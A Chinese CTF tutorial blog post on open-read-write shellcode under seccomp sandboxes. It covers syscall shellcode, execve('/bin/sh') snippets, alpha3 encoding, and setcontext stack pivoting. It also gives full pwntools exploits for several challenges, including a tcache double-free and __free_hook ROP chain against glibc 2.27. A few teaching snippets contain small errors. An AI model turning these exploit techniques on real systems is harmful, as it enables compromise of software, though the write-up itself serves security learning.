-
-
orw题目练习
-
发表于: 2023-10-22 19:35 2783
-
orw知识点
shellcode编写(涉及64位和32位)
shellcode编码,绕过shellcode字符检测
sandbox
mmap
set_context
shellcode编写思路
orw全称only read write,只使用read write函数将flag读取并且打印,shellcode分为三个步骤
- 使用open函数打开flag
- 使用read函数将flag读到buf
- 使用write函数将buf中的值输出
简化为三句伪代码如下,主要需要将这三句C语言变成汇编代码
1 2 3 | fd = open( "./flag" , O_RDONLY); read(fd, buf, 0x100) write(1, buf, 0x100) |
32-bits
32-bits下的系统调用号
三个函数的系统调用编号
系统调用号 | 函数名 | 入口点 | 源码 |
---|---|---|---|
3 | read | sys_read | fs/read_write.c |
4 | write | sys_write | fs/read_write.c |
5 | open | sys_open | fs/open.c |
shellcode编写
32位系统调用汇编寄存器传递参数顺序依次是ebx, ecx, edx, esi
;32-bit shellcode ; open flag file mov eax, 5 mov ebx, filepath mov ecx, 0 int 80h ; read flag mov ebx, eax mov eax, 3 mov ecx, buf mov edx, 100h int 80h ; write flag mov eax, 4 mov ebx, 1 mov ecx, buf mov edx, 100h int 80h ret
64-bits
64-bits下的系统调用号
%rax | System call | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
---|---|---|---|---|---|---|---|
0 | sys_read | unsigned int fd | char *buf | size_t count | |||
1 | sys_write | unsigned int fd | const char *buf | size_t count | |||
2 | sys_open | const char *filename | int flags | int mode | |||
3 | sys_close | unsigned int fd |
shellcode编写
64位shellcode汇编代码和32位的思路一样,不同点在于64位系统调用向寄存器传递的参数不同,且64位shellcode建议使用syscall,而不使用int 80中断
64位系统调用汇编寄存器传递参数顺序:rdi,rsi,rdx,r10,r8,r9。最多只能有6个参数,如果参数多于6个不会像用户态一样放到堆栈中,这个是内核接口调用约定和用户接口调用约定有区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | /* The Linux/x86-64 kernel expects the system call parameters in registers according to the following table: syscall number rax arg 1 rdi arg 2 rsi arg 3 rdx arg 4 r10 arg 5 r8 arg 6 r9 ...... */ #define DO_CALL(syscall_name, args) \ lea SYS_ify (syscall_name), %rax; \ syscall |
;64-bit shellcode ;open mov rax, 2 mov rdi, filepath mov rsi, 0 mov rdx, 0 syscall ; read mov rdi rax mov rax, 0 mov rsi, buf ;buf可以修改成rsp,直接将flag读到栈中 mov r10, 0x100 syscall ;write mov r10, rax mov rax, 1 mov rdi, 1 mov rsi, buf syscall
64-bit to 32-bit
当64位系统禁用open函数时,可以从64位切换到32位
32bit cs 0x23
;;nasm -f elf32 test_cs_32.asm ;;ld -m elf_i386 -o test_cs_32 global _start _start: push 0x0068732f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx mov eax,11 int 0x80
64bit cs 0x33
;;nasm -f elf64 test_cs_64.asm ;;ld -m elf_x86_64 -o test_cs_64 test_cs_64.o global _start _start: mov r10,0x0068732f6e69622f push r10 mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,0x3b syscall
shellcode编码
shellcode去除NULL byte
使用alpha3编码的shellcode不能存在NULL byte,需要对shellcode进行去0操作,去0优化后的shellcode可能更长
使用write为例子
优化前
;write mov r10, rax mov rax, 1 mov rdi, 1 mov rsi, buf syscall
优化后
mov rsi, buf push 1 pop rax push 1 pop rdi xor edx, edx mov dh, 0x100 >> 8 syscall
多使用xor,and等计算操作而不直接使用立即数赋值寄存器可以减少shellcode中的NULL byte
alpha3使用方法
ps:需要使用python2
1 | python ALPHA3.py x64 ascii mixedcase rax - - input = "sc" |
set_context
set_context分为两个版本的利用,2.27和2.29
利用场景
系统开启沙盒只能使用orw,通过劫持全局变量指针(__free_hook
, __malloc_hook
)等,将程序流程转移到glibc中的setcontext
函数中执行ROP链
; glibc 2.27版本的set context .text:00000000000520A5 mov rsp, [rdi+0A0h] .text:00000000000520AC mov rbx, [rdi+80h] .text:00000000000520B3 mov rbp, [rdi+78h] .text:00000000000520B7 mov r12, [rdi+48h] .text:00000000000520BB mov r13, [rdi+50h] .text:00000000000520BF mov r14, [rdi+58h] .text:00000000000520C3 mov r15, [rdi+60h] .text:00000000000520C7 mov rcx, [rdi+0A8h] .text:00000000000520CE push rcx .text:00000000000520CF mov rsi, [rdi+70h] .text:00000000000520D3 mov rdx, [rdi+88h] .text:00000000000520DA mov rcx, [rdi+98h] .text:00000000000520E1 mov r8, [rdi+28h] .text:00000000000520E5 mov r9, [rdi+30h] .text:00000000000520E9 mov rdi, [rdi+68h]
ctf example
pwnable.tw orw
1 2 3 4 5 6 7 8 | pwn@pwn:~ / study / orwpwn$ checksec orw [ * ] '/home/pwn/study/orwpwn/orw' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE ( 0x8048000 ) RWX: Has RWX segments |
分析
输入一段shellcode执行,首先将flag读取到.bss段,再将其读到标准输出
1 2 3 4 5 6 7 8 | int __cdecl main( int argc, const char **argv, const char **envp) { orw_seccomp(); printf ( "Give my your shellcode:" ); read(0, &shellcode, 0xC8u); (( void (*)( void ))shellcode)(); return 0; } |
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | #! /usr/bin/python3 from pwn import * context ( #log_level = 'debug', terminal = [ 'tmux' , 'splitw' , '-h' ], arch = 'i386' ) f = lambda var : str (var).encode() sl = lambda var : sh.sendline(var) sa = lambda c, p : sh.sendafter(c, p) sla = lambda c, p : sh.sendlineafter(c, p) r = lambda var : sh.recv(var) ir = lambda : sh.interactive() sh = process( './orw' ) shellcode = ''' mov eax, 5 mov ebx,0x804a09a mov ecx, 0 int 0x80 mov ebx, eax mov eax, 3 mov ecx, 0x0804A110 mov edx, 0x100 int 0x80 mov eax, 4 mov ebx, 1 mov ecx, 0x0804A110 mov edx, 0x100 int 0x80 ''' shellcode = asm(shellcode) + b './flag\x00' sh.sendline(shellcode) ir() |
Hgame2020 ROP_LEVEL2
1 2 3 4 5 6 7 | pwn@pwn:~ / study / orwpwn$ checksec ROP [ * ] '/home/pwn/study/orwpwn/ROP' Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x400000 ) |
知识点
- 栈迁移
- ret2csu
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | int __cdecl main( int argc, const char **argv, const char **envp) { int v3; // eax char buf[72]; // [rsp+0h] [rbp-50h] BYREF int fd[2]; // [rsp+48h] [rbp-8h] setvbuf (stdout, 0LL, 2, 0LL); setvbuf (stdin, 0LL, 2, 0LL); init(); puts ( "It's just a little bit harder...Do you think so?" ); read(0, &::buf, 0x100uLL); v3 = open( "./some_life_experience" , 0); *(_QWORD *)fd = v3; read(v3, buf, 0x3CuLL); puts (buf); read(0, buf, 96uLL); return 0; } |
从标准输入端读取3次,每一次都有不同作用
- 第一次写入shellcode到.bss段的buf
- 第二次将rbp覆盖,为栈迁移做准备
- 第三次覆盖返回地址,首先ret leave进行栈迁移,然后ret csu设置寄存器参数调用函数
ROP链
思路为csu调用open,read,puts函数,将flag写入.bss段,在使用puts函数输出到标准输出
csu汇编代码中寄存器和函数参数对应关系为:(r15, r14, r13) -> (arg1, arg2, arg3),r12是函数指针
一般来说使用ret2csu时rbx === 0,rbp === 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | .text:0000000000400A20 loc_400A20: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400A20 mov rdx, r13 .text:0000000000400A23 mov rsi, r14 .text:0000000000400A26 mov edi, r15d .text:0000000000400A29 call ds:(__frame_dummy_init_array_entry - 600E00h)[r12+rbx*8] .text:0000000000400A2D add rbx, 1 .text:0000000000400A31 cmp rbx, rbp .text:0000000000400A34 jnz short loc_400A20 .text:0000000000400A36 .text:0000000000400A36 loc_400A36: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400A36 add rsp, 8 .text:0000000000400A3A pop rbx .text:0000000000400A3B pop rbp .text:0000000000400A3C pop r12 .text:0000000000400A3E pop r13 .text:0000000000400A40 pop r14 .text:0000000000400A42 pop r15 .text:0000000000400A44 retn |
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | #! /usr/bin/python3 from pwn import * context ( log_level = 'debug' , terminal = [ 'tmux' , 'splitw' , '-h' ], arch = 'amd64' ) f = lambda var : str (var).encode() sl = lambda var : sh.sendline(var) sa = lambda c, p : sh.sendafter(c, p) sla = lambda c, p : sh.sendlineafter(c, p) r = lambda var : sh.recv(var) ia = lambda : sh.interactive() sh = process( './ROP' ) def csu(rbx, rbp, r12, r13, r14, r15): payload = p64( 0 ) payload + = p64(rbx) payload + = p64(rbp) payload + = p64(r12) payload + = p64(r13) payload + = p64(r14) payload + = p64(r15) payload + = p64( 0x400A20 ) #call r12 return payload csu_addr = 0x400A36 open_got = 0x601050 read_got = 0x601038 puts_got = 0x601028 fake_stack = 0x6010A0 flag_buf = 0x601180 payload = b './flag\x00\x00' payload + = p64(csu_addr) payload + = csu( 0 , 1 , open_got, 0 , 0 , fake_stack) payload + = csu( 0 , 1 , read_got, 0x100 , flag_buf, 0x4 ) payload + = csu( 0 , 1 , puts_got, 0 , 0 , flag_buf) sla(b '?\n' , payload) #.text:00000000004009D5 leave #.text:00000000004009D6 retn payload = b 'a' * 0x50 payload + = p64(fake_stack) payload + = p64( 0x4009D5 ) sl(payload) ia() |
CISCN 2021 silverwolf
1 2 3 4 5 6 7 8 9 | pwn@pwn:~ / study / orwpwn / silverwolf - 2.27 $ checksec silverwolf [ * ] '/home/pwn/study/orwpwn/silverwolf-2.27/silverwolf' Arch: amd64 - 64 - little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b '/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/' FORTIFY: Enabled |
1 2 | pwn@pwn:~ / study / orwpwn / silverwolf - 2.27 $ md5sum libc - 2.27 .so 50390b2ae8aaa73c47745040f54e602f libc - 2.27 .so |
知识点
- glibc 2.27 && 2.29 tcache bin attack
- seccomp_rule_add函数会创建很多堆块
- setcontext
分析
alloc
- 最大只能申请0x78大小的chunk
- 申请chunk的index只能为0
edit
- 只能编辑index=0的chunk,申请了哪个堆块就只能修改哪个堆块
- 不存在溢出漏洞
delete
1 2 3 4 5 6 7 8 9 10 11 12 | unsigned __int64 delete () { __int64 v1; // [rsp+0h] [rbp-18h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-10h] v2 = __readfsqword(0x28u); __printf_chk(1LL, "Index: " ); __isoc99_scanf( "%ld" , &v1); if ( !v1 && buf ) free (buf); // uaf return __readfsqword(0x28u) ^ v2; } |
- free(buf)后指针没有置空,存在uaf漏洞
思路
由于只能使用上一次申请的堆块,所以堆布局需要提前构思
清空所有bin
seccomp_rule_add函数会创建堆块,导致堆布局凌乱,清理bin方便后续构造
0x20 [ 7]: 0x55dad5b23610 —▸ 0x55dad5b23790 —▸ 0x55dad5b235f0 —▸ 0x55dad5b238a0 —▸ 0x55dad5b230b0 —▸ 0x55dad5b23450 —▸ 0x55dad5b23020 ◂— 0x0 0x60 [ 1]: 0x55dad5b238c0 ◂— 0x0 0x70 [ 7]: 0x55dad5b23360 —▸ 0x55dad5b230d0 —▸ 0x55dad5b232f0 —▸ 0x55dad5b23490 —▸ 0x55dad5b23630 —▸ 0x55dad5b237b0 —▸ 0x55dad5b23040 ◂— 0x0 0x80 [ 7]: 0x55dad5b22e90 —▸ 0x55dad5b231b0 —▸ 0x55dad5b23250 —▸ 0x55dad5b233d0 —▸ 0x55dad5b23570 —▸ 0x55dad5b23820 —▸ 0x55dad5b22fa0 ◂— 0x0 0xd0 [ 3]: 0x55dad5b22ad0 —▸ 0x55dad5b227a0 —▸ 0x55dad5b22310 ◂— 0x0 0xf0 [ 2]: 0x55dad5b236a0 —▸ 0x55dad5b22cd0 ◂— 0x0 fastbins 0x20: 0x55dad5b22df0 —▸ 0x55dad5b22f00 —▸ 0x55dad5b23220 —▸ 0x55dad5b232c0 —▸ 0x55dad5b23460 ◂— ... 0x70: 0x55dad5b22e10 —▸ 0x55dad5b22f20 —▸ 0x55dad5b23130 —▸ 0x55dad5b234f0 ◂— 0x0
double free,泄露heap base
glibc2.27 存在double free漏洞,配合uaf泄露堆基地址。
1 2 | tcachebins 0x80 [ 2 ]: 0x55cc4095c920 ◂— 0x55cc4095c920 |
改写tcache_perthread_struct,泄露libc base
tcache_perthread_struct结构体在heapbase处,大小为0x240,用于管理tcache bin。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; # define TCACHE_MAX_BINS 64 static __thread tcache_perthread_struct *tcache = NULL; |
1 2 3 4 5 6 7 | pwndbg> heapbase heapbase : 0x5555ca19f000 pwndbg> p * (struct tcache_perthread_struct * ) 0x5555ca19f010 $ 1 = { counts = "\240\314b\207\215\177\000\000\240\314b\207\215\177\000\000" , '\a' <repeats 48 times>, entries = { 0x0 , 0x0 , 0x0 , 0x0 , 0x0 , 0x0 , 0x1000000000000 , 0x0 , 0x0 , 0x0 , 0x0 , 0x5555ca19fad0 , 0x0 , 0x5555ca1a06a0 , 0x0 <repeats 50 times>} } |
将所有tcache bin counts覆写为7,在free大小为0x80的堆块后,检测到tcachebins没有空闲,会将释放的堆块存放在unsorted bin中从而泄露libc base
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | pwndbg> bin tcachebins 0x20 [ - 96 ]: 0x0 0x30 [ - 52 ]: 0x0 0x40 [ 98 ]: 0x0 0x50 [ - 121 ]: 0x0 0x60 [ - 115 ]: 0x0 0x70 [ 127 ]: 0x0 0x80 [ 0 ]: 0x1000000000000 0xa0 [ - 96 ]: 0x0 0xb0 [ - 52 ]: 0x0 0xc0 [ 98 ]: 0x0 0xd0 [ - 121 ]: 0x5555ca19f7a0 0xe0 [ - 115 ]: 0x0 0xf0 [ 127 ]: 0x5555ca1a06a0 —▸ 0x5555ca19fcd0 ◂— 0x0 0x120 [ 7 ]: 0x0 .... 0x410 [ 7 ]: 0x0 fastbins empty unsortedbin all : 0x5555ca19f000 —▸ 0x7f8d8762cca0 (main_arena + 96 ) ◂— 0x5555ca19f000 |
改写tcache_perthread_struct,申请任意地址的堆块
堆布局影响后面ROP链的构造,因为一次最大可申请0x78大小堆块,不够容纳ROP链,需要改写tcache bin struct便于申请两个物理地址连续的堆块
再次改写tcache bin struct,将所有counts改写为大于0,然后改写tcache_entry *entries[TCACHE_MAX_BINS]
,将这个指针数组里面的指针改写为需要申请的堆块地址,就可以进行任意地址的堆块申请
- heap_base+0x1000用于存放rop链
- heap_base+0x2000用于存放flag文件路径字符串
- heap_base+0x3000用于存放flag字符串
1 2 3 4 5 6 7 8 | pl = b '\x02' * 0x40 pl + = p64(__free_hook) #0x20 => free_hook pl + = p64(heap_base + 0x2000 ) #0x30 => file path str pl + = p64(heap_base + 0x3000 ) #0x40 => store flag str pl + = p64(heap_base + 0x1000 ) #0x50 => rop chain pl + = p64(heap_base + 0x1108 ) #0x60 => rop chain pl + = p64(heap_base + 0x10a0 ) #0x70 => rop chain pl + = p64(heap_base + 0x1000 ) #0x80 => rop chain begin |
1 2 3 4 5 6 7 8 | tcachebins 0x20 [ 2 ]: 0x7f0e9ab6b8e8 (__free_hook) ◂— 0x0 0x30 [ 2 ]: 0x564feaeeb000 ◂— 0x0 0x40 [ 2 ]: 0x564feaeec000 ◂— 0x0 0x50 [ 2 ]: 0x564feaeea000 ◂— 0x0 0x60 [ 2 ]: 0x564feaeea108 ◂— 0x0 0x70 [ 2 ]: 0x564feaeea0a0 ◂— 0x0 0x80 [ 2 ]: 0x564feaeea000 ◂— 0x0 |
修改完后可以申请0x18,0x28,0x38,0x48,0x58,0x68,0x78大小的堆块各一个
ROP链与栈迁移
ROP链构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | pop_rdi = libc_base + 0x2155f pop_rsi = libc_base + 0x23e6a pop_rdx = libc_base + 0x1b96 pop_rax = libc_base + 0x439c8 syscall = libc_base + 0x11007F rop_chain = p64(heap_base + 0x10b0 ) rop_chain + = p64(pop_rax) + p64( 2 ) rop_chain + = p64(pop_rdi) + p64(heap_base + 0x2000 ) rop_chain + = p64(pop_rsi) + p64( 0 ) rop_chain + = p64(syscall) rop_chain + = p64(pop_rax) + p64( 0 ) rop_chain + = p64(pop_rdi) + p64( 3 ) rop_chain + = p64(pop_rsi) + p64(heap_base + 0x3000 ) rop_chain + = p64(pop_rdx) + p64( 0x20 ) rop_chain + = p64(syscall) rop_chain + = p64(pop_rax) + p64( 1 ) rop_chain + = p64(pop_rdi) + p64( 1 ) rop_chain + = p64(pop_rsi) + p64(heap_base + 0x3000 ) rop_chain + = p64(syscall) |
将ROP链写入heap_base+0x1000后,申请大小等于0x48的堆块,这个堆块指针为heap_base+0x1000,在free时会用这个指针作为参数传递到rdi,setcontext+0x53将栈迁移到heap_base+0x1000,开始执行ROP链
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | #! /usr/bin/python3 from pwn import * context ( # log_level = 'debug', terminal = [ 'tmux' , 'splitw' , '-h' ], arch = 'amd64' ) f = lambda var : str (var).encode() sl = lambda var : sh.sendline(var) sa = lambda c, p : sh.sendafter(c, p) sla = lambda c, p : sh.sendlineafter(c, p) r = lambda var : sh.recv(var) ru = lambda var : sh.recvuntil(var) ia = lambda : sh.interactive() sh = process( './silverwolf' ) libc = ELF( './libc-2.27.so' ) def alloc(size): sla(b ': ' , b '1' ) sla(b ': ' , b '0' ) sla(b ': ' , f(size)) def edit(context): sla(b ': ' , b '2' ) sla(b ': ' , b '0' ) sla(b ': ' , context) def show(): sla(b ': ' , b '3' ) sla(b ': ' , b '0' ) def delete(): sla(b ': ' , b '4' ) sla(b ': ' , b '0' ) def clean_bin(): for _ in range ( 11 ): alloc( 0x60 ) for _ in range ( 12 ): alloc( 0x10 ) for _ in range ( 7 ): alloc( 0x70 ) alloc( 0x50 ) def gdb_debug(cmd = ''): gdb.attach(sh, cmd) def main(): clean_bin() # leak heap base alloc( 0x78 ) delete() delete() show() heap_base = (u64(ru(b '\n' )[ 9 : - 1 ].ljust( 8 , b '\x00' ))& 0xfffffffffffff000 ) - 0x1000 log.success( "heap base => " + hex (heap_base)) # modify tcache_perthread_struct pl = p64(heap_base + 0x10 ) edit(pl) alloc( 0x78 ) alloc( 0x78 ) pl = b '\x07' * 0x40 edit(pl) #leak libc base delete() show() libc_base = u64(ru(b '\n' )[ 9 : - 1 ].ljust( 8 , b '\x00' )) - 0x3ebca0 log.success( "libc base => " + hex (libc_base)) # modify tcache list __free_hook = libc_base + libc.symbols[ '__free_hook' ] log.success( "__free_hook => " + hex (__free_hook)) pl = b '\x02' * 0x40 pl + = p64(__free_hook) #0x20 => free_hook pl + = p64(heap_base + 0x2000 ) #0x30 => file path str pl + = p64(heap_base + 0x3000 ) #0x40 => store flag str pl + = p64(heap_base + 0x1000 ) #0x50 => rop chain pl + = p64(heap_base + 0x1108 ) #0x60 => rop chain pl + = p64(heap_base + 0x10a0 ) #0x70 => rop chain pl + = p64(heap_base + 0x1000 ) #0x80 => rop chain begin edit(pl) # rop chain syscall = libc_base + 0x11007F pop_rdi = libc_base + 0x2155f pop_rsi = libc_base + 0x23e6a pop_rdx = libc_base + 0x1b96 pop_rax = libc_base + 0x439c8 rop_chain = p64(heap_base + 0x10b0 ) rop_chain + = p64(pop_rax) + p64( 2 ) rop_chain + = p64(pop_rdi) + p64(heap_base + 0x2000 ) rop_chain + = p64(pop_rsi) + p64( 0 ) rop_chain + = p64(syscall) # ==> open rop_chain + = p64(pop_rax) + p64( 0 ) rop_chain + = p64(pop_rdi) + p64( 3 ) rop_chain + = p64(pop_rsi) + p64(heap_base + 0x3000 ) rop_chain + = p64(pop_rdx) + p64( 0x100 ) rop_chain + = p64(syscall) # ==> read rop_chain + = p64(pop_rax) + p64( 1 ) rop_chain + = p64(pop_rdi) + p64( 1 ) rop_chain + = p64(pop_rsi) + p64(heap_base + 0x3000 ) rop_chain + = p64(syscall) # ==> write alloc( 0x68 ) edit(rop_chain[: 0x68 ]) alloc( 0x58 ) edit(rop_chain[ 0x68 :]) alloc( 0x28 ) edit(b './flag' ) # modify free hook set_context = libc_base + 0x520A5 alloc( 0x18 ) edit(p64(set_context)) # start rop cmd = 'b*' + hex (set_context) gdb_debug(cmd) alloc( 0x48 ) delete() ia() if __name__ = = "__main__" : main() |
逐日杯 codehome
知识点
- shellcode编码
- shellcode处理0字节
分析
申请内存
使用mmap申请两块内存。
- v3用于存储flag,地址为
rbp&0xffff000
- v4用于存储shellcode,地址为0x44440000
在写shellcode时,v3地址需要动态计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | void *sub_D6C() { int fd; // [rsp+8h] [rbp-28h] int v2; // [rsp+Ch] [rbp-24h] void *v3; // [rsp+10h] [rbp-20h] void *v4; // [rsp+18h] [rbp-18h] char buf[8]; // [rsp+20h] [rbp-10h] BYREF unsigned __int64 v6; // [rsp+28h] [rbp-8h] __int64 savedregs; // [rsp+30h] [rbp+0h] BYREF v6 = __readfsqword(0x28u); alarm(8u); setvbuf (stdin, 0LL, 2, 0LL); setvbuf (stdout, 0LL, 2, 0LL); setvbuf (stderr, 0LL, 2, 0LL); fd = open( "/dev/urandom" , 0); read(fd, buf, 4uLL); v3 = mmap(( void *)(((unsigned int )&savedregs - 16) & 0xFFFF000), 0x1000uLL, 7, 34, -1, 0LL); v4 = mmap(( void *)0x44440000, 0x1000uLL, 7, 34, -1, 0LL); v2 = open( "./flag" , 0); if ( v2 == -1 ) { puts ( "can't find flag" ); exit (( int ) "1" ); } read(v2, v3, 0x30uLL); printf ( "[+]hint:" ); write(1, v3, 5uLL); puts (&byte_12F3); close(v2); close(fd); return v4; } |
main
函数指针v7可以被nbytes[4]覆盖。如果覆盖成0x44440000就可以执行shellcode地址。存在shellcode,只能输入0-9,a-z,A-Z,需要使用alpha3编码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | unsigned __int64 __fastcall main( __int64 a1, char **a2, char **a3) { _BYTE *v4; // [rsp+0h] [rbp-50h] int (**v5)( const char *); // [rsp+8h] [rbp-48h] size_t nbytes[4]; // [rsp+10h] [rbp-40h] BYREF int (**v7)( const char *); // [rsp+30h] [rbp-20h] void *v8; // [rsp+38h] [rbp-18h] char buf[5]; // [rsp+43h] [rbp-Dh] BYREF unsigned __int64 v10; // [rsp+48h] [rbp-8h] v10 = __readfsqword(0x28u); HIDWORD(nbytes[0]) = 0; nbytes[1] = 0LL; nbytes[2] = 0LL; nbytes[3] = 0LL; v7 = & puts ; v8 = sub_D6C(); printf ( "input len of your name\n>>" ); buf[( int )read(0, buf, 4uLL)] = 0; LODWORD(nbytes[0]) = atoi (buf); if ( LODWORD(nbytes[0]) > dword_202030 ) { puts ( "hacker!" ); exit (( int ) "-1" ); } printf ( "plz input your name\n>>" ); read(0, ( char *)nbytes + 4, LODWORD(nbytes[0])); printf ( "now,input your code\n>>" ); v4 = malloc (0x1000uLL); v4[( int )read(0, v4, 0xFFFuLL)] = 0; filiter(v4, v8); // 检测shellcode然后复制到mmap内存中 sandbox(); v5 = v7; printf ( "%s:" , aWelcomeToThePw); (( void (__fastcall *)( char *))v5)(( char *)nbytes + 4); puts ( "your code:" ); (( void (__fastcall *)( void *))v5)(v8); return __readfsqword(0x28u) ^ v10; } |
exp
;shellcode mov esi, ebp and esi, 0xffff005 push 1 pop rax push 1 pop rdi xor edx, edx mov dh, 0x100 >> 8 syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #! /bin/python3 from pwn import * context ( log_level = 'debug' , terminal = [ 'tmux' , 'splitw' , '-h' ], arch = 'amd64' ) f = lambda var : str (var).encode() sl = lambda var : sh.sendline(var) sa = lambda c, p : sh.sendafter(c, p) sla = lambda c, p : sh.sendlineafter(c, p) r = lambda var : sh.recv(var) ia = lambda : sh.interactive() sh = process( './codehome' ) mmap_addr = 0x44440000 sla(b '>>' , b '40' ) payload = b 'b' * 0x1c payload + = p64(mmap_addr) sa(b '>>' , payload) sc = b 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M3T3M3E3E0H3S4z7l2O012p0Y0R0k0K3u3J031p0501' sa(b '>>' , sc) ia() |